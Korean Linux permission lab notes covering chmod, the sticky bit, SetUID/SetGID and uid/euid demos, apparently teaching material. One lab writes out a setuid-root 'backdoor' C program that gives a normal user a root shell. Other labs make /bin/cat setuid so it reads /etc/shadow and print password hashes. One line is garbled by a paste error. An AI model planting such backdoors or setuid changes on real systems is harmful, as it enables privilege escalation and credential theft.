-rw-r--r-- 1 root root 22 Oct 23 19:56 index.html


- 저장시 :w 하면 저장이 안되고 :w! 해야 저장할 수 있다. 

  파일이 w 권한이 없어도 저장되는 이유는 디렉토리의 권한이 파일보다 

  우선순위를 먼저 가지기 때문이다.

$ vi index.html

-- index.html --

Hello My Server!!! ^^*;;

-- index.html --


$ ls -l index.html 

-rw-r--r-- 1 linux linux 25 Oct 23 20:10 index.html


브라우저로 접속시 수정된 내용을 출력된다.

httpd://192.168.56.101


Hello My Server!!! ^^*;;

===========================================================================================================


===========================================================================================================

LAB> chmod 를 이용한 파일의 권한을 변경해보자.


-- LAB 순서 --

1. symbolic mode 로 퍼미션 변경

2. octal mode 로 퍼미션 변경

-- LAB 순서 --


1. symbolic mode 로 퍼미션 변경

- /bin/mv 명령어를 자신의 디렉토리에 복사한 후 symbolic mode 로 퍼미션을 변경해보자.

# cp /bin/mv .

# ls -l mv

-rwxr-xr-x 1 root root 78252 Nov 18 16:12 mv

# chmod -c u-r mv

mode of `mv' changed to 0355 (-wxr-xr-x)

# chmod -c o-r mv

mode of `mv' changed to 0351 (-wxr-x--x)

# chmod a-x mv -c

mode of `mv' changed to 0240 (-w-r-----)



2. octal mode 로 퍼미션 변경

- 복사된 /bin/mv 명령어의 퍼미션을 octal mode 로 변경해보자.

# cp /bin/mv .

# chmod -c 000 mv 

mode of `mv' changed to 0000 (---------)

# chmod -c 700 mv

mode of `mv' changed to 0700 (rwx------)

# chmod -c 711 mv

mode of `mv' changed to 0711 (rwx--x--x)

# chmod -v 711 mv

mode of `mv' retained as 0711 (rwx--x--x)

~ # chmod -c 711 mv

# chmod -c 710 mv

mode of `mv' changed to 0710 (rwx--x---)

# chmod 1777 mv

# chmod -v 1777 mv

mode of `mv' retained as 1777 (rwxrwxrwt)

# chmod -c 2755 mv

mode of `mv' changed to 2755 (rwxr-sr-x)

~ # chmod -c 4755 mv

mode of `mv' changed to 4755 (rwsr-xr-x)


===========================================================================================================


==================================================================

LAB> /tmp 디렉토리 테스트 

!!! 시스템에 sticky bit 권한이 있는 경우의 디렉토리는 취약하다.  !!!

!!! sticky bit 권한이 있어도 이것을 보안상 조절하는 방법이 존재한다 !!!



디렉토리에 sticky bit 권한이 없을 경우(rwxrwxrwx)

# mkdir -m 777 /home/tmp

# ls -ld /home/tmp

drwxrwxrwx 2  root  root   ...


- linux 사용자가 /home/tmp 디렉토리에 쓰기 권한이 있으므로 cp 와 touch

  명령어로 파일을 생성할 수 있다.

# su - linux

$ ls -ld /home/tmp


$ cp /bin/mv /home/tmp     <-- O

$ touch /home/tmp/a.txt    <-- O

$ exit


- windows 사용자가 /home/tmp 디렉토리에 쓰기 권한이 있으므로 

  linux 사용자가 생성한 파일 mv, a.txt 파일을 삭제할 수 있다.

# useradd windows

# su - windows

$ rm -fv /home/tmp/mv

$ rm -fv /home/tmp/a.txt



디렉토리에 sticky bit 권한이 있을 경우(rwxrwxrwt)


# chmod o+t /home/tmp

# ls -ld /home/tmp

# su - linux

$ cp /etc/passwd /home/tmp/a.txt

$ ls -l /home/tmp/a.txt

$ exit


- sticky bit 가 /home/tmp 디렉토리에 걸려있으므로 linux 가 생성한 파일을 

  windows 사용자가 삭제할 수 없다.

# su - windows

$ rm -fv /home/tmp/a.txt   <-- X



- 시스템에 기본적으로 설정되어 있는 공유디렉토리인 /tmp 디렉토리에서 

  작업을 해보자.

# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 24 02:55 /tmp


# useradd user1

# su - user1

$ cd /tmp

$ touch user1.txt

$ ls -l user1.txt 

-rw-rw-r-- 1 user1 user1 0 Oct 24 02:54 user1.txt

$ exit


# su - linux

$ cd /tmp

$ touch linux.txt

$ ls -l linux.txt 

-rw-rw-r-- 1 linux linux 0 Oct 24 02:54 linux.txt

$ exit


# su - user1

$ rm -f linux.txt 

rm: cannot remove `linux.txt': Operation not permitted

$ exit


# su - linux

$ rm -f user1.txt 

rm: cannot remove `user1.txt': Operation not permitted

$ exit


# su - user1

$ rm -fv user1.txt 

removed `user1.txt'

$ ls -l user1.txt

ls: user1.txt: No such file or directory

$ exit


# su - linux

$ rm -f linux.txt 

$ ls -l linux.txt

ls: linux.txt: No such file or directory


==================================================================



==================================================================

LAB> Set-UID 테스트


- cat /etc/passwd 명령어를 사용하기 위해서는 아래와 같은 단계를 거친다.

- 1. /bin 디렉토리에 들어갈 수 있어야 한다.

- 2. cat 프로그램을 실행할 수 있어야 한다.

- 3. /etc 디렉토리에 들어갈 수 있어야 한다.

- 4. /etc/shadow 파일에 읽을 수 있어야 한다.

# ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 bin/cat

# ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 24 02:40 etc

# ls -l /etc/shadow

-r-------- 1 root root 1030 Oct 24 02:40 /etc/shadow


- setuid 가 없을 경우

- linux 사용자의 권한으로 cat을 실행한다.

# su - linux

$ cat /etc/shadow

cat: /etc/shadow: Permission denied

$ exit


- setuid 가 있을 경우

- linux 사용자가 실행하지만 소유자(root) 권한으로 cat을 실행한다.

# chmod u+s /bin/cat -c

mode of `/bin/cat' changed to 4755 (rwsr-xr-x)

# ls -l /bin/cat

-rwsr-xr-x 1 root root 23260 Mar 21  2012 /bin/cat


$ cat /etc/shadow

  :

  :

==================================================================


==================================================================

모든 프로세스는 실행한 사용자의 권한으로 실행된다.

하지만 가끔씩 이를 바꿔줘야할 필요가 있을때 setuid 를 사용한다.

==================================================================

==================================================================

LAB> Set-UID 테스트

!!! /usr/bin/passwd 파일이 setuid 권한이 있어서 일반유저가

!!! 저장할 수 없는 파일인 /etc/shadow 파일에 자신의 비밀번호를 

!!! 저장할 수 있는 것이다.


# grep --color linux /etc/shadow

linux:!!:16542:0:99999:7:::

# passwd linux

Changing password for user linux.

New UNIX password: 

BAD PASSWORD: it is too short

Retype new UNIX password: 

passwd: all authentication tokens updated successfully.

# grep --color linux /etc/shadow

linux:$1$YEoy.4YY$MBqjkVZtQ6seSbXQWBjTR.:16542:0:99999:7:::

# ls -l /etc/shadow

-r-------- 1 root root 1018 Apr 17 22:50 /etc/shadow


# ls -l `which passwd`

-rwsr-xr-x 1 root root 23420 Aug 11  2010 /usr/bin/passwd

# su - linux


$ passwd

Changing password for user linux.

Changing password for linux

(current) UNIX password: 

New UNIX password: 

Retype new UNIX password: 

passwd: all authentication tokens updated successfully.

$ exit


- 일반 사용자가 /usr/bin/passwd 에 설정된 setuid 에 의해서 

- /etc/shadow 파일에 자신의 비번을 저장할 수 있다.

# grep --color linux /etc/shadow

linux:$1$SZhz3G7M$sqOSClylxrybmeMW.TOq21:16542:0:99999:7:::


==================================================================

==================================================================

LAB> Set-UID 테스트


# vi fileread.c

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit


int main()

{

  FILE *fp;

  char buf[1024];


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen("a.txt", "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp

# cp /etc/passwd a.txt

# ./fileread

root:x:0:0:root:/root:/bin/bash

# su linux

$ ./fileread

root:x:0:0:root:/root:/bin/bash

$ exit

# cp -a /etc/shadow a.txt

# ls -l a.txt 

-r-------- 1 root root 1018 Apr 17 22:53 a.txt

# su linux

$ ./fileread 

can't open file

$ exit

# chmod u+s fileread

# ls -l fileread 

-rwsr-xr-x 1 root root 5630 Apr 17 23:29 fileread

   ~

# su linux

$ ./fileread 

root:$1$P25UygmC$vImxWX08gOtNQovPf4tnR.:16512:0:99999:7:::

==================================================================

==================================================================

LAB> SetGID 테스트 (파일)


- 일반 파일

# umask

0022

# echo 1234 > /tmp/readme.txt 

# chmod o= /tmp/readme.txt 

# ls -l /tmp/readme.txt 

-rw-r----- 1 root root 5 Oct 24 03:35 /tmp/readme.txt

# chmod 755 /bin/cat

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat


- /bin/cat 은 일반유저가 실행할 때 자신의 권한으로 실행하므로 

  /tmp/readme.txt 파일은 볼 수가 없다.

$ cat /tmp/readme.txt 

cat: /tmp/readme.txt: Permission denied


- /bin/cat 파일을 SetGID 권한을 부여한다.

# chmod g+s /bin/cat

# ls -l /bin/cat

-rwxr-sr-x 1 root root 23260 Jul 22  2011 /bin/cat


- 일반유저가 /bin/cat 을 실행할 때 SetGID 권한이 설정되어 있으므로 

  /tmp/readme.txt 파일을 볼 수 있다.

$ cat /tmp/readme.txt 

1234

==================================================================

==================================================================

LAB> SetUID, SetGID 테스트


# vi fileread.c 

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit


int main(int argc, char *argv[])

{

  FILE *fp;

  char buf[1024];


  // 인자가 없다면 에러를 출력하고 프로그램을 종료한다.

  if(argc != 2)

  {

    fprintf(stderr, "Usage : %s filename \n", argv[0]);

    exit(1);

  }


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen(argv[1], "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp

# ls -l fileread 

-rwxr-xr-x 1 root root 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread 

Usage : ./fileread filename 

$ ./fileread /etc/shadow

can't open file

$ ls -l /etc/shadow

-r-------- 1 root root 1018 Apr 17 22:53 /etc/shadow

$ ./fileread /etc/passwd

root:x:0:0:root:/root:/bin/bash

$ ./fileread /etc/fstab 

/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1

$ ls -l /etc/fstab 

-rw-r--r-- 1 root root 534 Mar 18 18:28 /etc/fstab

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1657 Apr 17 20:20 /etc/passwd

$ exit

exit


# chmod g+s fileread -c


# ls -l /etc/fstab 

-rw-r--r-- 1 root root 534 Mar 18 18:28 /etc/fstab

# chmod o-r /etc/fstab -c

mode of `/etc/fstab' changed to 0640 (rw-r-----)


# chmod 755 /bin/cat

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Mar 21  2012 /bin/cat

# su linux

$ cat /etc/fstab 

cat: /etc/fstab: Permission denied


$ ls -l fileread 

-rwxr-sr-x 1 root root 5813 Apr 18 00:00 fileread


$ ./fileread /etc/fstab 

/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1

==================================================================


==================================================================

LAB> uid, gid, euid, egid 값 확인하기


참고 : http://www.joinc.co.kr/modules/moniwiki/wiki.php/man/2/getuid


uid  : 사용자에게 부여한 번호  getuid()

gid  : 그룹에게 부여한 번호    getgid()

euid : 유효사용자 번호         geteuid()

egid : 유효그룹 번호           getegid()


getuid()는 현재 프로세스의 실제 유저 아이디를 얻어온다. 

geteuid()는 현재 프로세스의 유효 유저 아이디(effective user ID)를 얻어온다. 



# cd /tmp

# vi uidtest.c

-- uidtest.c --

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>


int main()

{

  printf("UID  : %d \n", getuid());

  printf("GID  : %d \n", getgid());

  printf("EUID : %d \n", geteuid());

  printf("EGID : %d \n", getegid());


  return 0;

}

-- uidtest.c --


# gcc -o uidtest uidtest.c 

# ls -l uidtest

-rwxr-xr-x 1 root root 5407 Apr 18 00:35 uidtest

~~~~~~~~~~~

# su linux


- setuid 가 없을 경우 

$ id

uid=500(linux) gid=500(linux) groups=500(linux)

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 500


- setuid 가 있을 경우


# chmod u+s uidtest 

# ls -l uidtest

-rwsr-xr-x 1 root root 5407 Apr 18 00:35 uidtest

$ ls -n uidtest

-rwsr-xr-x 1 0 0 5407 Apr 18 00:35 uidtest

            ~~ 

# su linux


$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0       <-- setuid 가 걸린 UID 가 표시가 된다.

EGID : 500 

$ exit


# chmod g+s uidtest

# ls -l uidtest

-rwsr-sr-x 1 root root 5407 Apr 18 00:35 uidtest

   ~  ~

   |  |

   |  +-- EGID

   +-- EUID

# su linux

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 0 


# chgrp users uidtest

# chmod ug+s uidtest

# ls -n uidtest

-rwsr-sr-x 1 0 100 5407 Apr 18 00:35 uidtest

# ls -l uidtest

-rwsr-sr-x 1 root users 5407 Apr 18 00:35 uidtest

# su linux

$ ./uidtest 

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 100 


- 예제

# rm -f a.txt

# echo 1234 > a.txt

# chmod 640 a.txt

# chgrp users a.txt

# ls -l a.txt 

-rw-r----- 1 root users 5 Apr 18 00:47 a.txt

# ls -l fileread 

-rwxr-sr-x 1 root root 5813 Apr 18 00:00 fileread

# chgrp users fileread 

# ls -l fileread 

-rwxr-xr-x 1 root users 5813 Apr 18 00:00 fileread

# chmod g+s fileread 

# ls -l fileread 

-rwxr-sr-x 1 root users 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread a.txt 

1234

$ exit

exit

# chmod g-s fileread 

# ls -l fileread 

-rwxr-xr-x 1 root users 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread a.txt 

can't open file


- 예제2


사용자 : linux   uid : 500

그룹   : boan    gid : 7000


=========================

실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 500, egid : 7000

fileread  권한 : rwxr-xr-x  root(0) root(0)

a.txt     권한 : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- 권한이 없으므로 a.txt 에 접근할 수 없다.


# groupadd -g 5000 project

# groupadd -g 7000 boan

# chmod 640 a.txt

# chgrp project a.txt

# ls -l a.txt 

-rw-r----- 1 root project 5 Apr 18 00:47 a.txt

# chown 0.0 fileread 

# chmod 755 fileread 

# ls -l fileread 

-rwxr-xr-x 1 root root 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread a.txt

can't open file

=========================

          

=========================

실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 0, egid : 7000

fileread  <-- rwsr-xr-x  root(0) root(0)

a.txt  : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- euid 권한이 0 이므로 a.txt 에 접근할 수 있다.


# chmod u+s fileread 

# ls -l fileread 

-rwsr-xr-x 1 root root 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread a.txt 

1234

$ ls -l a.txt 

-rw-r----- 1 root project 5 Apr 18 00:47 a.txt

=========================


=========================

실행시 fileread 의 권한 : uid : 500, gid : 7000, euid : 500, egid : 5000

fileread  <-- rwxr-sr-x  root(0) project(5000)

a.txt  : -rw-r-----  root(0) project(5000)

$ fileread a.txt    <-- O


# chgrp project fileread 

# chmod 2755 fileread 

# ls -l fileread 

-rwxr-sr-x 1 root project 5813 Apr 18 00:00 fileread

# su linux

$ ./fileread a.txt 

1234

=========================



==================================================================


==================================================================

LAB> uid,gid,euid,egid 를 출력하면서 a.txt 파일을 보자.


!!! a.txt 파일에 접근하기 위해서는 파일의 권한이 일치해야 한다. !!!


# vi fileread.c

-- fileread.c --

/*

 * filename : fileread.c

 */

#include <stdio.h>  // printf, fprintf, fgets, fopen, fclose

#include <stdlib.h> // exit

#include <sys/types.h>

#include <unistd.h>


int main(int argc, char *argv[])

{

  FILE *fp;

  char buf[1024];


  printf("UID  : %d \n", getuid());

  printf("GID  : %d \n", getgid());

  printf("EUID : %d \n", geteuid());

  printf("EGID : %d \n", getegid());



  // 인자가 없다면 에러를 출력하고 프로그램을 종료한다.

  if(argc != 2)

  {

    fprintf(stderr, "Usage : %s filename \n", argv[0]);

    exit(1);

  }


  // a.txt 파일을 읽기 권한으로 연다.

  fp = fopen(argv[1], "r");

  if(fp == NULL)  // 열지 못했으면 에러를 출력하고 프로그램을 종료한다.

  {

    fprintf(stderr, "can't open file\n");  // 에러를 화면에 출력한다.

    exit(1);  // 프로그램을 종료한다.

  }


  fgets(buf, 1024, fp); // 1024 만큼 파일을 읽어서 buf에 저장하라

  printf("%s", buf);    // 저장된 내용을 화면에 출력해라

  fclose(fp);

  return 0;

}

-- fileread.c --


# gcc -o /tmp/fileread fileread.c 

# cd /tmp/


$ ls -l a.txt 

-rw-r----- 1 root project 5 Apr 18 00:47 a.txt

$ ls -n a.txt 

-rw-r----- 1 0 5000 5 Apr 18 00:47 a.txt


# ls -l fileread 

-rwxr-xr-x 1 root root 6287 Apr 18 02:11 fileread

# su linux

$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 500 

can't open file

$ exit


# chmod u+s fileread 

# ls -l fileread 

-rwsr-xr-x 1 root root 6287 Apr 18 02:11 fileread

# su linux

$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 0 

EGID : 500 

1234

$ exit



# chgrp project fileread 

# chmod g+s fileread 

# ls -l fileread 

-rwxr-sr-x 1 root project 6287 Apr 18 02:11 fileread

# su linux

$ ./fileread a.txt

UID  : 500 

GID  : 500 

EUID : 500 

EGID : 5000 

1234

==================================================================


==================================================================

LAB> SetGID 테스트 (디렉토리)


- 디렉토리에 SetGID 가 없을 경우 

- 소유자가 속해있는 그룹으로 파일이 생성된다.

# mkdir -m 777 /tmp/test

# ls -ld /tmp/test

drwxrwxrwx 2 root root 1024 Oct 24 03:42 /tmp/test


# useradd user1

$ su - user1


- other 에 x 권한이 있으므로 디렉토리를 이동할 수 있다.

$ cd /tmp/test


- other 에 w 권한이 있으므로 디렉토리에 파일을 생성할 수 있다.

$ touch a.txt

$ ls -l a.txt 

-rw-rw-r-- 1 user1 user1 0 Oct 24 03:43 a.txt

                   ~~~~~

$ exit


- 디렉토리에 SetGID 가 있을 경우 

- 디렉토리에 설정된 그룹으로 파일이 생성된다.

# chmod g+s /tmp/test

# ls -ld /tmp/test

drwxrwsrwx 2 root root 1024 Oct 24 03:43 /tmp/test

     ~~

# su - user1

$ cd /tmp/test

$ touch b.txt

$ ls -l b.txt 

-rw-rw-r-- 1 user1 root 0 Oct 24 03:44 b.txt

                   ~~~~

==================================================================


===========================================================================================================

LAB> 권한 테스트하기


http://permissions-calculator.org


421421421

---------  0000 

r--rws--t  3471

--s--s--x  6111


rwxrwxrwt  1777

rwSr-x--T  5650

-wS-w----  4220

--S-----x  4001

--srw-rwx  4167

r-S-wS-w-  6422

rw---s--t  3611

rw---S--T  3600

rw------T  1600

r----x--t  1411

===========================================================================================================


===========================================================================================================

LAB> LINUX BOX 에서 특수 권한이 있는 모든 파일을 검색하기


find 명령어의 -perm 옵션으로 검색할 수 있다.


 2>/dev/null : 에러는 화면에 출력하지 말라는 의미이다.


- Set-UID 가 들어있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

# find / -perm -4000 2>/dev/null -ls


- Set-GID 가 들어있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

# find / -perm -2000 2>/dev/null -ls


- Set-UID 와 Set-GID 권한이 있는 파일들을 모두 검색하되 에러는 화면에 출력하지 않는다.

# find / \( -perm -4000 -o -perm -2000 \) 2>/dev/null -ls


===========================================================================================================


======================================================================

LAB> SetUID 를 이용한 백도어


구글에서 검색 : 

참고 : http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/%BE%C8%C0%FC%C7%D1_%C7%C1%B7%CE%B1%D7%B7%A1%B9%D6



!!! SetUID 가 걸린 파일은 잠재적인 보안문제를 야기할 수 있으므로 

!!! 리눅스 설치 후 불필요한 setuid 파일들은 모두 제거해야 한다.



# cd /tmp

# vi backdoor.c

-- backdoor.c --

# cat backdoor.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>


int main()

{

  setuid(0);  

  execl("/bin/bash", "bash", NULL);

  return 0;

}

-- backdoor.c --


# gcc -o backdoor backdoor.c 

# chmod u+s backdoor

# su linux

$ id

uid=500(linux) gid=500(linux) groups=500(linux) 

$ ./backdoor 

# id

uid=0(root) gid=500(linux) groups=500(linux)



======================================================================

======================================================================

LAB> 자주 쓰는 프로그램들의 SetUID 권한 확인하기


# ls -l /bin/su

# ls -l /bin/ping

# ls -l /bin/mount

-rwsr-xr-x 1 root root 59540 Nov  8  2012 /bin/mount

# ls -l /usr/bin/passwd 

-rwsr-xr-x 1 root root 23420 Aug 11  2010 /usr/bin/passwd

# ls -l /usr/bin/crontab 

-rwsr-sr-x 1 root root 309932 Feb 23  2012 /usr/bin/crontab


======================================================================



===========================================================================================================

LAB> 읽기 권한 디렉토리 실습하기


- 디렉토리에 읽기권한이 있을 때

$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

       ~~~

$ ls -l /bin

  :

  :


- 디렉토리에 읽기권한이 없을 때

$ ls -ld /root

drwxr-x--- 11 root root 4096 Oct 23 23:21 /root

       ~~~

$ ls /root

ls: /root: Permission denied

===========================================================================================================


===========================================================================================================

LAB> 읽기, 쓰기 권한 연습하기


- 읽기권한 연습 ( read 권한을 제거 )

# cd /tmp


/tmp # echo "Hello World" > a.txt

/tmp # ls -l a.txt 

-rw-r--r-- 1 root root 12 Feb 17 22:05 a.txt

/tmp # cat a.txt 

Hello World


/tmp # echo "Hello World" > b.txt

/tmp # ls -l b.txt 

-rw-r--r-- 1 root root 12 Feb 17 22:05 b.txt

/tmp # cat b.txt 

Hello World


/tmp # chmod -c o-r a.txt

mode of `a.txt' changed to 0640 (rw-r-----)

/tmp # chmod -c o-r a.txt


- 읽기권한 연습 ( read 권한을 제거한 a.txt 파일은 일반유저가 읽을 수 없다. )

/tmp # useradd linux

/tmp # su - linux

~ $ cd /tmp 

/tmp $ cat b.txt 

Hello World

/tmp $ cat a.txt 

cat: a.txt: Permission denied


- 쓰기권한 연습 ( 일반유저가 write 권한이 없을때 )

/tmp # echo "Have a nice day" >> a.txt   <-- a.txt 에 내용을 추가한다.

/tmp # cat a.txt 

Hello World

Have a nice day

/tmp # chmod -c o+r a.txt

mode of `a.txt' changed to 0644 (rw-r--r--)


/tmp $ cat a.txt 

Hello World

Have a nice day


/tmp $ echo "^^*" >> a.txt       <-- a.txt 에 내용을 추가했지만 권한이 없어서 추가가 안된다.

-bash: a.txt: Permission denied

/tmp $ cat a.txt                 <-- a.txt를 확인하면 추가가 안된 것을 알 수 있다.

Hello World

Have a nice day


- 쓰기권한 연습 ( 일반유저가 write 권한이 있을때 )

/tmp # ls -l b.txt 

-rw-r--r-- 1 root root 28 Feb 17 22:29 a.txt

/tmp # chmod -c o+w b.txt

mode of `b.txt' changed to 0646 (rw-r--rw-)


/tmp $ cat b.txt 

Hello World


/tmp $ echo "I have a smartphone" >> b.txt   <-- b.txt 에 문자열이 추가되었다.

/tmp $ cat b.txt 

Hello World

I have a smartphone

===========================================================================================================


===========================================================================================================

LAB> /dev/sda 장치 파일의 읽기권한을 이용한 파티션 정보 출력하기


-----------------------------------------------------------

brw-r----- root disk /dev/sda  <-- 일반유저가 읽을 수 없다.

~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~

brw-r--r-- root disk /dev/sda  <-- 일반유저가 읽을 수 있다.

~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~

-----------------------------------------------------------


# ls -l /dev/sda

brw-r----- 1 root disk 8, 0 Nov 20 19:30 /dev/sda

# fdisk -l /dev/sda


Disk /dev/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1   *           1         913     7333641   83  Linux

/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris


# su - linux  <-- Other 부분에 읽기 권한이 없으므로 볼 수 없다.

$ /sbin/fdisk -l /dev/sda

Cannot open /dev/sda

$ exit


# chmod -c o+r /dev/sda

mode of `/dev/sda' changed to 0644 (rw-r--r--)


$ /sbin/fdisk -l /dev/sda  <-- Other 에 읽기 권한이 있으므로 볼 수 있다.


Disk /dev/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1   *           1         913     7333641   83  Linux

/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris

===========================================================================================================


===========================================================================================================

LAB> 스크립트와 바이너리 파일의 실행권한 테스트


-- LAB 순서 --

1. 스크립트 파일 (rx 가 있을 경우)

2. 스크립트 파일 (x 만 있을 경우)

3. 바이너리 파일 (rx 가  있을 경우)

4. 바이너리 파일 (x 만 있을 경우)

5. 바이너리 파일 (x 를 제거할 경우)

-- LAB 순서 --


1. 스크립트 파일 (rx 가 있을 경우)

- 관리자가 a.sh 파일을 생성하고 관리자와 일반유저가 실행해보자.

# cd /tmp

# vi a.sh

-- a.sh --

#!/bin/sh


# i 변수에 123을 대입해라

i=123  


# i 변수의 값을 화면에 출력해라

echo $i

-- a.sh --


# ls -l a.sh

-rw-r--r-- 1 root root 25 Feb 17 22:47 a.sh


# chmod a+x a.sh

# ./a.sh 

123


- 일반유저가 a.sh 파일을 실행한다.

$ ./a.sh         <-- a.sh 가 실행된 이유는 rx 권한이 있기 때문에 실행이 되었다.

123


2. 스크립트 파일 (x 만 있을 경우)

- 관리자가 a.sh 파일의 일반유저 부분의 읽기권한을 제거하고 일반유저가 실행해보자.

# chmod -c o-r a.sh 

mode of `a.sh' changed to 0751 (rwxr-x--x)


- 일반유저는 읽기 권한이 없으므로 실행파일을 실행할 수 없다.

$ ./a.sh        

/bin/sh: ./a.sh: Permission denied  


- 관리자는 파일의 읽기 권한을 제거하지만 실행이 된다. 

(왜 ? 관리자는 읽기/쓰기의 제약을 받지 않는다.)

# chmod -c ug-r a.sh 

mode of `a.sh' changed to 0311 (-wx--x--x)

/tmp # ./a.sh   

123


3. 바이너리 파일 (rx 가  있을 경우)

- 관리자가 바이너리 파일을 만들고 일반유저가 파일을 실행하고 복사해보자.

# vi hello.c

-- hello.c --

#include <stdio.h>


int main()

{

  puts("Hello C");

  return 0;

}

-- hello.c --

# gcc -o hello hello.c  <-- hello.c 를 hello 로 컴파일해서 실행파일을 생성한다.

# ls -l hello

-rwxr-xr-x 1 root root 4937 Feb 17 23:06 hello

# ./hello           <-- x 권한이 있으므로 hello 파일이 실행된다.

Hello C


$ ./hello           <-- 일반유저 또한 x 권한이 있으므로 hello 파일이 실행된다.

Hello C


- r 권한이 있으므로 복사할 수 있다. 

( 파일을 복사한다는 것은 읽기 권한이 있어야 한다. )

$ cp hello hello2   

$ ls -l hello2

-rwxr-xr-x 1 linux linux 4937 Feb 17 23:23 hello2

$ ./hello2

Hello C


4. 바이너리 파일 (x 만 있을 경우)

- 관리자가 Other 부분의 r 권한을 제거하고 일반유저가 파일을 실행하고 복사해보자.

# chmod o-r hello   

# ls -l hello

-rwxr-x--x 1 root root 4937 Feb 17 23:06 hello


- x 권한이 있으므로 실행이 된다. (바이너리 파일은 r 권한이 없어도 실행이 된다.)

$ ./hello   

Hello C


- Other 부분의 r 권한이 없으므로 복사가 안된다.

$ cp hello hello3   

cp: cannot open `hello' for reading: Permission denied


5. 바이너리 파일 (x 를 제거할 경우)

- 관리자가 x 권한을 모두 제거하고 실행해 보면 아무도 이 파일을 실행할 수 없다.

# chmod a-x he/tmp # ls -l hello

-rw-r----- 1 root root 4937 Feb 17 23:06 hellollo   


# ./hello

- bash: ./hello: Permission denied


$ ./hello

- bash: ./hello: Permission denied

===========================================================================================================


===========================================================================================================

LAB> 쓰기권한 테스트 (장치파일)


메세지를 받는 사용자 : 관리자 root

메세지를 보내는 사용자 : 일반유저 linux

# tty

/dev/pts/0

/tmp # ls -l /dev/pts/0

crw--w---- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0


# mesg y

$ wall hello   <-- 일반유저가 root 사용자에게 메세지를 보낸다.


# mesg n       <-- (mesg n) == (chmod g-w /dev/pts/0)

# ls -l /dev/pts/0

crw------- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0

$ wall hello    <-- 일반 유저가 root 에게 메세지를 보낼 수 없다.


Broadcast message from linux (pts/1) (Tue Feb 18 00:43:24 2014):


hello


# mesg y

# chmod g-s /usr/bin/wall   <-- 일반 유저가 wall 로 메세지를 보낼 수 없다.

$ wall hello                <-- tty 권한이 없으므로 root에게 메세지를 보낼 수 없다.


# chmod o+w /dev/pts/0 

# ls -l /dev/pts/0

crw--w--w- 1 root tty 136, 0 Feb 18 00:48 /dev/pts/0

===========================================================================================================


===========================================================================================================

LAB> 디렉토리 권한 테스트


# cd

# pwd

/root

# ls -ld

drwxr-x--- 11 root root 4096 Oct 24 02:00 .

# chmod o+r .

# ls -ld

drwxr-xr-- 11 root root 4096 Oct 24 02:00 .


- 일반유저가 /root 디렉토리에 x 권한이 없으므로 접근할 수 없다.

- 따라서 디렉토리에 x 권한이 없고 r 권한이 있는 것은 잘못된 것이다.

- 그 예를 아래쪽에서 보여주는 것이다.

$ pwd

/home/user1

$ cd /root

-bash: cd: /root: Permission denied

$ ls -l /root

total 0

